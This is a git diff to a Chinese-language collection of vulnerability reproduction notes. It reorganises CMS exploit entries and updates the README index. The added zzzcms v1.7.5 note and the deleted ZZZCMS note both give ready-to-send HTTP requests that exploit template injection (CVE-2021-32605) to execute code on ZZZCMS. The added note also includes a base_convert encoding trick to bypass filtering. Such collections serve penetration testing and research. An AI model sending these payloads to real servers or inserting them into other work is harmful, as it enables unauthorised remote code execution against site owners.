diff --git a/Web应用漏洞/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145.md b/CMS漏洞/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145.md similarity index 100% rename from Web应用漏洞/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145.md rename to CMS漏洞/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145.md diff --git a/CMS漏洞/ZZZCMS parserSearch 远程命令执行漏洞.md b/CMS漏洞/ZZZCMS parserSearch 远程命令执行漏洞.md deleted file mode 100644 index cfb8384..0000000 --- a/CMS漏洞/ZZZCMS parserSearch 远程命令执行漏洞.md +++ /dev/null @@ -1,50 +0,0 @@ -# ZZZCMS parserSearch 远程命令执行漏洞 - -## 漏洞描述 - -ZZZCMS parserSearch 存在模板注入导致远程命令执行漏洞 - -参考链接： - -- https://srcincite.io/advisories/src-2021-0015/ -- https://nvd.nist.gov/vuln/detail/CVE-2021-32605 - -## 漏洞影响 - -``` -ZZZCMS -``` - -## 网络测绘 - -``` -app="zzzcms" -``` - -## 漏洞复现 - -发送如下请求包命令执行 - -![](images/202202170904549.png) - -```plain -POST /?location=search HTTP/1.1 -Host: -Content-Length: 30 -Pragma: no-cache -Cache-Control: no-cache -Upgrade-Insecure-Requests: 1 -User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 -Content-Type: text/plain -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 -Accept-Encoding: gzip, deflate -Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 -Cookie: PHPSESSID=rbuhrqqhoctntnak8slkascqp1; keys=%7Bif%3A%3DPHPINFO%28%29%7D%7Bend+if%7D%0D%0A - - -keys={if:=PHPINFO()}{end if} -``` - -执行 ping dnslog - -![](images/202202170904912.png) diff --git a/CMS漏洞/images/202202092027601.png b/CMS漏洞/images/202202092027601.png deleted file mode 100644 index 452dbcd..0000000 Binary files a/CMS漏洞/images/202202092027601.png and /dev/null differ diff --git a/CMS漏洞/images/202202092028491.png b/CMS漏洞/images/202202092028491.png deleted file mode 100644 index 91d1da7..0000000 Binary files a/CMS漏洞/images/202202092028491.png and /dev/null differ diff --git a/CMS漏洞/images/202202092028823.png b/CMS漏洞/images/202202092028823.png deleted file mode 100644 index c84d9e6..0000000 Binary files a/CMS漏洞/images/202202092028823.png and /dev/null differ diff --git a/CMS漏洞/images/202202092029270.png b/CMS漏洞/images/202202092029270.png deleted file mode 100644 index a352283..0000000 Binary files a/CMS漏洞/images/202202092029270.png and /dev/null differ diff --git a/CMS漏洞/images/202202092029964.png b/CMS漏洞/images/202202092029964.png deleted file mode 100644 index 2676031..0000000 Binary files a/CMS漏洞/images/202202092029964.png and /dev/null differ diff --git a/CMS漏洞/images/202202092030068.png b/CMS漏洞/images/202202092030068.png deleted file mode 100644 index 62a6244..0000000 Binary files a/CMS漏洞/images/202202092030068.png and /dev/null differ diff --git a/CMS漏洞/images/202202092030188.png b/CMS漏洞/images/202202092030188.png deleted file mode 100644 index d0ca196..0000000 Binary files a/CMS漏洞/images/202202092030188.png and /dev/null differ diff --git a/CMS漏洞/images/202202162304907.png b/CMS漏洞/images/202202162304907.png deleted file mode 100644 index f4acabb..0000000 Binary files a/CMS漏洞/images/202202162304907.png and /dev/null differ diff --git a/CMS漏洞/images/202202162305119.png b/CMS漏洞/images/202202162305119.png deleted file mode 100644 index b7be36f..0000000 Binary files a/CMS漏洞/images/202202162305119.png and /dev/null differ diff --git a/CMS漏洞/images/202202162305332.png b/CMS漏洞/images/202202162305332.png deleted file mode 100644 index 82e60a5..0000000 Binary files a/CMS漏洞/images/202202162305332.png and /dev/null differ diff --git a/CMS漏洞/images/202202162305334.png b/CMS漏洞/images/202202162305334.png deleted file mode 100644 index 1ca0870..0000000 Binary files a/CMS漏洞/images/202202162305334.png and /dev/null differ diff --git a/CMS漏洞/images/202202162305426.png b/CMS漏洞/images/202202162305426.png deleted file mode 100644 index f1e4994..0000000 Binary files a/CMS漏洞/images/202202162305426.png and /dev/null differ diff --git a/CMS漏洞/images/202202162305586.png b/CMS漏洞/images/202202162305586.png deleted file mode 100644 index 4711896..0000000 Binary files a/CMS漏洞/images/202202162305586.png and /dev/null differ diff --git a/CMS漏洞/images/202202162305743.png b/CMS漏洞/images/202202162305743.png deleted file mode 100644 index 2cabdbc..0000000 Binary files a/CMS漏洞/images/202202162305743.png and /dev/null differ diff --git a/CMS漏洞/images/202202162305838.png b/CMS漏洞/images/202202162305838.png deleted file mode 100644 index 60be206..0000000 Binary files a/CMS漏洞/images/202202162305838.png and /dev/null differ diff --git a/CMS漏洞/images/202202162306063.png b/CMS漏洞/images/202202162306063.png deleted file mode 100644 index f4acabb..0000000 Binary files a/CMS漏洞/images/202202162306063.png and /dev/null differ diff --git a/CMS漏洞/images/202202162306195.png b/CMS漏洞/images/202202162306195.png deleted file mode 100644 index 051a67b..0000000 Binary files a/CMS漏洞/images/202202162306195.png and /dev/null differ diff --git a/CMS漏洞/images/202202162306873.png b/CMS漏洞/images/202202162306873.png deleted file mode 100644 index 7db8d70..0000000 Binary files a/CMS漏洞/images/202202162306873.png and /dev/null differ diff --git a/CMS漏洞/images/202202162307092.png b/CMS漏洞/images/202202162307092.png deleted file mode 100644 index f4acabb..0000000 Binary files a/CMS漏洞/images/202202162307092.png and /dev/null differ diff --git a/CMS漏洞/images/202202162307154.png b/CMS漏洞/images/202202162307154.png deleted file mode 100644 index 942a5bd..0000000 Binary files a/CMS漏洞/images/202202162307154.png and /dev/null differ diff --git a/CMS漏洞/images/202202162307966.png b/CMS漏洞/images/202202162307966.png deleted file mode 100644 index 3ce8ee8..0000000 Binary files a/CMS漏洞/images/202202162307966.png and /dev/null differ diff --git a/CMS漏洞/images/202202162308602.png b/CMS漏洞/images/202202162308602.png deleted file mode 100644 index 56d7c81..0000000 Binary files a/CMS漏洞/images/202202162308602.png and /dev/null differ diff --git a/CMS漏洞/images/202202162310000.png b/CMS漏洞/images/202202162310000.png deleted file mode 100644 index 0e9b4cd..0000000 Binary files a/CMS漏洞/images/202202162310000.png and /dev/null differ diff --git a/CMS漏洞/images/202202162310134.png b/CMS漏洞/images/202202162310134.png deleted file mode 100644 index 942a5bd..0000000 Binary files a/CMS漏洞/images/202202162310134.png and /dev/null differ diff --git a/CMS漏洞/images/202202162310460.png b/CMS漏洞/images/202202162310460.png deleted file mode 100644 index 07d7f27..0000000 Binary files a/CMS漏洞/images/202202162310460.png and /dev/null differ diff --git a/CMS漏洞/images/202202162310790.png b/CMS漏洞/images/202202162310790.png deleted file mode 100644 index 21a2f2c..0000000 Binary files a/CMS漏洞/images/202202162310790.png and /dev/null differ diff --git a/CMS漏洞/images/202202162310834.png b/CMS漏洞/images/202202162310834.png deleted file mode 100644 index f4acabb..0000000 Binary files a/CMS漏洞/images/202202162310834.png and /dev/null differ diff --git a/CMS漏洞/images/202202162310974.png b/CMS漏洞/images/202202162310974.png deleted file mode 100644 index 038fe28..0000000 Binary files a/CMS漏洞/images/202202162310974.png and /dev/null differ diff --git a/CMS漏洞/images/202202162311107.png b/CMS漏洞/images/202202162311107.png deleted file mode 100644 index 7582e62..0000000 Binary files a/CMS漏洞/images/202202162311107.png and /dev/null differ diff --git a/CMS漏洞/images/202202162311177.png b/CMS漏洞/images/202202162311177.png deleted file mode 100644 index 49a540d..0000000 Binary files a/CMS漏洞/images/202202162311177.png and /dev/null differ diff --git a/CMS漏洞/images/202202162311411.png b/CMS漏洞/images/202202162311411.png deleted file mode 100644 index d8d0ff2..0000000 Binary files a/CMS漏洞/images/202202162311411.png and /dev/null differ diff --git a/CMS漏洞/images/202202162311474.png b/CMS漏洞/images/202202162311474.png deleted file mode 100644 index 373b5e9..0000000 Binary files a/CMS漏洞/images/202202162311474.png and /dev/null differ diff --git a/CMS漏洞/images/202202162311483.png b/CMS漏洞/images/202202162311483.png deleted file mode 100644 index a5a1f83..0000000 Binary files a/CMS漏洞/images/202202162311483.png and /dev/null differ diff --git a/CMS漏洞/images/202202162311682.png b/CMS漏洞/images/202202162311682.png deleted file mode 100644 index d05e392..0000000 Binary files a/CMS漏洞/images/202202162311682.png and /dev/null differ diff --git a/CMS漏洞/images/202202170904549.png b/CMS漏洞/images/202202170904549.png deleted file mode 100644 index b41be81..0000000 Binary files a/CMS漏洞/images/202202170904549.png and /dev/null differ diff --git a/CMS漏洞/images/202202170904912.png b/CMS漏洞/images/202202170904912.png deleted file mode 100644 index e1c71e8..0000000 Binary files a/CMS漏洞/images/202202170904912.png and /dev/null differ diff --git a/Web应用漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113150841735.png b/CMS漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113150841735.png similarity index 100% rename from Web应用漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113150841735.png rename to CMS漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113150841735.png diff --git a/Web应用漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113151515486.png b/CMS漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113151515486.png similarity index 100% rename from Web应用漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113151515486.png rename to CMS漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113151515486.png diff --git a/CMS漏洞/images/zzzcms v1.7.5 前台远程命令执行漏洞/image-20250407143723180.png b/CMS漏洞/images/zzzcms v1.7.5 前台远程命令执行漏洞/image-20250407143723180.png new file mode 100644 index 0000000..ee9173a Binary files /dev/null and b/CMS漏洞/images/zzzcms v1.7.5 前台远程命令执行漏洞/image-20250407143723180.png differ diff --git a/CMS漏洞/zzzcms v1.7.5 前台远程命令执行漏洞.md b/CMS漏洞/zzzcms v1.7.5 前台远程命令执行漏洞.md new file mode 100644 index 0000000..c9fd8f5 --- /dev/null +++ b/CMS漏洞/zzzcms v1.7.5 前台远程命令执行漏洞.md @@ -0,0 +1,46 @@ +# zzzcms v1.7.5 前台远程命令执行漏洞 + +## 漏洞描述 + +zzzcms v1.7.5 parserSearch 存在模板注入导致远程命令执行漏洞。 + +参考链接： + +- https://nvd.nist.gov/vuln/detail/CVE-2021-32605 +- https://www.anquanke.com/post/id/212272 + +## 漏洞影响 + +``` +zzzcms v1.7.5 +``` + +## 漏洞复现 + +执行 `phpinfo`： + +``` +POST /?location=search HTTP/1.1 +Host: your-ip + +keys={if:=phpinfo()}{end if} +``` + +如果遇到拦截，编码绕过： + +``` + +----- +27440799224 +``` + +``` +POST /?location=search HTTP/1.1 +Host: your-ip + +keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if} +``` + +![](images/zzzcms%20v1.7.5%20前台远程命令执行漏洞/image-20250407143723180.png) diff --git a/README.md b/README.md index 91679f8..e819ae8 100644 --- a/README.md +++ b/README.md @@ -17,6 +17,8 @@ * CmsEasy crossall_act.php SQL注入漏洞 * CmsEasy language_admin.php 后台命令执行漏洞 * CmsEasy update_admin.php 后台任意文件上传漏洞 + * CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145 + * CraftCMS 未授权远程代码执行漏洞 CVE-2023-41892 * CxCMS Resource.ashx 任意文件读取漏洞 * DedeCMS 5.7 file_manage_control.php 文件包含 RCE CVE-2023-2928 * DedeCMS 5.7SP2 代码执行漏洞 CVE-2019-8933 @@ -84,7 +86,7 @@ * WordPress SuperForms 4.9 任意文件上传到远程代码执行 * WordPress WP_Query SQL 注入漏洞 CVE-2022-21661 * YzmCMS Version 小于V5.8正式版 后台采集模块 SSRF漏洞 - * ZZZCMS parserSearch 远程命令执行漏洞 + * zzzcms v1.7.5 前台远程命令执行漏洞 * 华宜互联 硬编码超级管理员漏洞 * 原创先锋 后台管理平台 未授权访问漏洞 * 发货100 M_id SQL注入漏洞 CNVD-2021-30193 @@ -98,14 +100,14 @@ * 狮子鱼CMS ApigoodController.class.php SQL注入漏洞 * 狮子鱼CMS image_upload.php 任意文件上传 * 狮子鱼CMS wxapp.php 任意文件上传漏洞 + * 齐博CMS V7 job.php 任意文件读取漏洞 +- MYPOC + * 禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞 * 禅道 11.6 api-getModel-api-sql-sql 后台SQL注入漏洞 * 禅道 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞 * 禅道 12.4.2 CSRF漏洞 CNVD-2020-68552 * 禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325 - * 禅道 V16.5 SQL 注入 CNVD-2022-42853 - * 禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709 - * 齐博CMS V7 job.php 任意文件读取漏洞 - OA产品漏洞 * O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行 @@ -296,7 +298,6 @@ * CMA客诉管理系统 upFile.ashx 任意文件上传漏洞 * Coremail 路径遍历与文件上传漏洞 * Coremail 配置信息泄露漏洞 - * CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145 * Crawlab file 任意文件读取漏洞 * Crawlab users 任意用户添加漏洞 * Dapr Dashboard configurations 未授权访问漏洞 CVE-2022-38817 @@ -523,6 +524,10 @@ * 用友 畅捷通远程通 GNRemote.dll SQL注入漏洞 * 畅捷CRM get_usedspace.php SQL注入漏洞 * 畅捷CRM 后台附件任意文件上传漏洞 + * 禅道 misc-captcha-user.html 权限绕过&命令执行漏洞 CNVD-2023-02709 + * 禅道 v16.5 前台 SQL 注入 CNVD-2022-42853 + * 禅道 zahost-create.html 后台命令执行漏洞 + * 禅道 zentaosid cookie 身份认证绕过漏洞 * 科达 MTS转码服务器 任意文件读取漏洞 * 科达 网络键盘控制台 任意文件读取漏洞 * 科迈 RAS系统 硬编码管理员漏洞 diff --git a/中间件漏洞/Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228.md b/中间件漏洞/Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228.md index 2f4f99a..b55425e 100644 --- a/中间件漏洞/Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228.md +++ b/中间件漏洞/Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228.md @@ -48,7 +48,7 @@ Connection: close ![image-20220305220601719](images/202203052206769.png) -实际利用JNDI注入漏洞，可以使用[这个工具](https://github.com/welk1n/JNDI-Injection-Exploit)。 +实际利用JNDI注入漏洞，可以使用[这个“工具](https://github.com/welk1n/JNDI-Injection-Exploit)。 ![image-20220305223436251](images/202203052234596.png)